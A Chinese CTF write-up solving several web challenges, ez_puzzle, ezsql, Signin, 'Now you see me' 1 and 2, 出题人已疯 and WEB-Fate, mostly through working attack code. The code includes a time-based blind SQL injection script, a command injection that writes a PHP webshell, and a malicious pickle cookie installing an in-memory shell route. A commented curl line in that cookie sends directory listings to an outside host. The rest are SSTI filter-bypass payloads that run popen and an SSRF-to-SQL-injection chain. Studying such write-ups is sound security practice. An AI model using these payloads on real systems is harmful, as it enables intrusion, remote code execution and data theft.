ez_puzzle

简单玩一玩,可以发现打通后会弹一个窗口,我们搜游一下alert可以发现只有两个alert代码


运行第二个alert可以发现其是失败后的弹窗那么第一个应该就是flag的了
ctrl+s将源码扒下来,改一下alert的判断条件

把小于号改成大于,再打通一次即可。

ezsql

在登陆处发现sql注入,简单验证一些发现其过滤了空格,逗号之类的,使用括号来过滤空格,而因为无法使用逗号,所以直接使用盲注
payload

1
admin'or(sleep(ascii(mid((select database())from(1)for(1)))>108))#


当条件成立会时延1s写脚本直接爆


爆出double_check为
dtfrtkcc0czkoua9S
账号密码为
yudeyoushang
zhonghengyisheng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time
import json

url = "http://eci-2zefzg22buvmrl7v0z2n.cloudeci1.ichunqiu.com:80"
flag = ""
for i in range(1, 18):
low = 32
high = 128
mid = (low + high) >> 1
while low < high:
#payload = "admin'or(sleep(ascii(mid(database()from({})for(1)))>{}))#".format(i, mid)
#payload="admin'or(sleep(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))from({})for(1)))>{}))#".format(i, mid)
#payload="admin'or(sleep(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_schema=database()))from({})for(1)))>{}))#".format(i, mid)
payload="admin'or(sleep(ascii(mid((select(password)from(user))from({})for(1)))>{}))#".format(i, mid)

start_time = time.time()
r = requests.post(url, data=datas,verify=False)
#print(r.text)
end_time = time.time()
#print(end_time - start_time)
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

alt text

登陆后会要求进行双重验证,我们都爆出来了
登陆后是一个无回显的命令执行,其过滤了空格我们使用$IFS$9来进行代替还有一些关键词绕过我们使用反斜杠来绕过,然后直接写马

1
command=ec\ho$IFS$9'<?=eval($_POST[123])?>'>/var/www/html/sell.ph\p

Signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from bottle import Bottle, request, response, redirect, static_file, run, route
secret="asdw"

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)

我们看一些get_cookie的源码可以发现其是使用pickle.loads来对数据进行反序列化的,而ser_cookie就使用pickle.dumps来序列化的,那么只要我们得到key,加密一个恶意的pickle序列化内容就可以进行rce了

/download存在一个文件下载,我们使用./.././../这种方法可以实现目录穿透,读取key
然后拿到key来进行cookie的生成

直接打内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from bottle import route, run,response
import os


sekai = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class exp():
def __reduce__(self):
# cmd = "curl http://x.x.x.x:7777/123?res=`ls -la /|base64 -w 0`"
cmd = "route(\"/shell\",\"GET\",lambda :__import__('os').popen(request.params.get('lalala')).read())"
return (exec, (cmd,))


@route("/sign")
def index():
try:
#session = {"name": "admin"}
session = exp()
response.set_cookie("name", session, secret=sekai)
return "success"
except:
return "pls no hax"


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=5003,debug=True)

Now you see me 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
print(i)
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

首先一眼可以看出其为ssti,使用#},使用{%%}来绕过{{}},而我们看黑名单并没有直接禁止request,那么我们简单来跑一下黑名单没有禁的request类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import flask

def filter_allowed_attributes(attributes, lock_within):
"""
过滤属性列表,返回不包含任何黑名单字符串的属性
:param attributes: 待过滤的属性列表
:param lock_within: 黑名单列表
:return: 允许使用的安全属性列表
"""
allowed = []
for attr in attributes:
if not any(banned in attr for banned in lock_within):
allowed.append(attr)
return allowed

# 黑名单定义
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url', '\'', '"',
"getattr",
"[", "]", "\\", "/", "self",
"lipsum", "cycler", "joiner", "namespace",
"init", "join", "decode",
"batch", "first", "last",
" ", "dict", "list", "g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop","_",
"Isn't that enough? Isn't that enough."]

# 示例:从Flask的request对象获取属性列表(实际使用时替换为真实属性列表)
request_attributes = dir(flask.Request) # 这里需要替换为实际的request对象

# 过滤并打印安全属性
safe_attributes = filter_allowed_attributes(request_attributes, lock_within)
print("允许使用的安全属性:")
for attr in safe_attributes:
print(attr)


可以发现其可以使用
1
2
3
4
5
6
7
8
9
10
authorization
blueprint
blueprints
date
endpoint
mimetype
origin
pragma
range
referrer

而其中
1
2
3
4
5
authorization
referrer
pragma
origin
mimetype

是我们完全可控的,那么我们就可以利用这5个请求头来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7D{%print(a|attr(request.authorization.username)|attr(request.pragma|attr(request.authorization.password)(0))|attr(request.authorization.password)(request.origin)(request.mimetype))%}%7B%23  HTTP/1.1
Host: eci-2ze7jndrdiiwbfpam9jh.cloudeci1.ichunqiu.com:8080
Origin: eval
authorization: Basic X19pbml0X186X19nZXRpdGVtX18=
Content-Type: ''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("dd if=/flag_h3r3 bs=1 skip=10000000 count=20000000 2>/dev/null|base64").read()
Pragma: __builtins__
Cache-Control: __getitem__
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: chkphone=123'; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1741245060; ci_session=ec1eef2fb931443ccbc7ef0abebb73adeb48816c
Connection: close

而删对os.system这种的删除我们直接使用最早学ssti的继承链即可绕过''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("dd if=/flag_h3r3 bs=1 skip=10000000 count=20000000 2>/dev/null|base64").read()

Now you see me 2

这题和上一题的区别是禁了更多的request下的类,再我的仔细观察下发现range没有被禁
而range是获取Range头的内容,但是Range头需要有固定格式xxx=1-100象这样的格式。而我们可以使用jinja2的String和random过滤器来获取其随机一个字符,从而来获取我们想要的字符。我们只要获取到args就可以使用attr来获取request.args这个类,然后使用request.args来绕过waf即可

这里我使用config来作为中间变量来将获取到的字符之类的塞到config里,但是我们无法使用g.xxx,所以我们使用{%set%0Aa=config%}来先进行赋值(换行符来代替空格)将config赋值给a然后修改a即可

1
2
3
GET /H3dden_route?spell=fly-%23%7D{%set%0Aa=config%}{%set%0Ab=(a.update(a=(request.range|string|random)))%} HTTP/1.1
Host: 8.147.132.32:33177
Range: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=1-

使用上面的poc来获取a,同理得到r,g,s
然后使用

1
2

{%set%0Aa=config%}{%set%0Ab=(a.update(ree=(request|attr(a.re))))%}{%set%0Ab=(a.update(g=(request.range|string|random)))%}{%print(a.ree.X2)%}%7B%23&X2=adws

来获取request.args然后就简单了

1
GET /H3dden_route?spell=fly-%23%7D{%set%0Aa=config%}{%set%0Ab=(a.update(ree=(request|attr(a.re))))%}{%print(a|attr(a.ree.X1)|attr(a.ree.X2)|attr(a.ree.X3)|attr(a.ree.X4)(a.ree.X5)|attr(a.ree.X4)(a.ree.X6)(a.ree.X7))%}%7B%23&X1=__class__&X2=__init__&X3=__globals__&X4=__getitem__&X5=__builtins__&X6=exec&X7=a=eval("''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('').read()");setattr(__import__('sys').modules['werkzeug'].serving.WSGIRequestHandler,"server_version",str(a)

因为不回显而且好像检测了路由添加,所以使用请求头回显。

出题人已疯

1
2
3
4
5
6
7
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')

看眼源码可以发现其是ssti但是限制了长度,且禁了open等

一开始我是想到使用rebase或者include这两个模板函数来文件读取,但是这两个函数课读取的目录是被官方写死的,怎么绕能不能绕,我懒得调。所以就想能不能有一个中间变量来进行写入从而绕过长度限制

于是我想到了__builtins__,在flask的ssti中我们使用{{}}是无法对__builtins__进行赋值的但是因为这是bottle框架我们可以使用%来执行python命令。
所以我们可以使用如下来进行赋值

1
2
attack?payload=%0A%__builtins__['x']='op'
attack?payload=%0A%__builtins__['y']='en'

因为bottle框架模板的环境就是__builtins__所以我们赋值的xy可以直接访问到如下

那么我们就可以用如下来赋值出open

1
2
3
attack?payload=%0A%__builtins__['e']=eval
attack?payload=%0A%__builtins__['O']=e(o)
attack?payload={{O('/flag').read()}}

如果想的话也可以慢慢拼出rce

出题人已疯2

打的时候其实有想到用斜体字符来绕,结果本地测的时候发现不行也每去多想,干看了一下wp,妹的原来是在url解析的时候会出问题,得把编码的%C2給删了

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

WEB-Fate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

这题卡在最后的格式化字符串漏洞了,第一次遇到这样的打法,还是学到了

前面的ssrf吧点和字母给禁了,那么可以使用10进制来绕,而payload是拼接到域名后面的所以我们可以加个@来绕过去,再看docker-compose.yaml可以发现其端口为8080

1
proxy?url=@2130706433:8080/1337

然后就是code要为abcdefghi这里可以使用双重url来绕
最后就是binary_to_string来讲二进制转为str,我们通过binary_to_string来写一个str_to_bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import json

import requests


def string_to_binary(input_string):
binary_list = []
for char in input_string:
# Get the ASCII code, convert to binary, zero-pad to 8 digits
binary_char = format(ord(char), '08b')
binary_list.append(binary_char)
return ''.join(binary_list) # Join with spaces for readability


def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

# Example usage:
text = '{"name":NaN}'
binary = string_to_binary(text)
print(binary) # Output: "01001000 01100101 01101100 01101100 01101111"
req=binary_to_string('0111101100100010011011100110000101101101011001010010001000111010001000100010001001111101')
print(json.loads(text)['name'])
print(len(json.loads(text)['name']))

最后就是那个格式化字符串的问题了,因为其是通过f'{code}'来传值的,这么传即使传入的为数组也会被转为字符串,即数组["asdwd","asdw"]会被转为字符串["asdwd","asdw"],list
json数组只要为
{"name":["1'))))))) UNION SELECT FATE FROM FATETABLE where name='LAMENTXU'--","1"]}
即可

1
http://127.0.0.1:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=0111101100100010011011100110000101101101011001010010001000111010010110110010001000110001001001110010100100101001001010010010100100101001001010010010100100100000010101010100111001001001010011110100111000100000010100110100010101001100010001010100001101010100001000000100011001000001010101000100010100100000010001100101001001001111010011010010000001000110010000010101010001000101010101000100000101000010010011000100010100100000011101110110100001100101011100100110010100100000011011100110000101101101011001010011110100100111010011000100000101001101010001010100111001010100010110000101010100100111001011010010110100100010001011000010001000110001001000100101110101111101

我记得我本地有有测过数组的但是因为什么原因报错了就没测了。。。。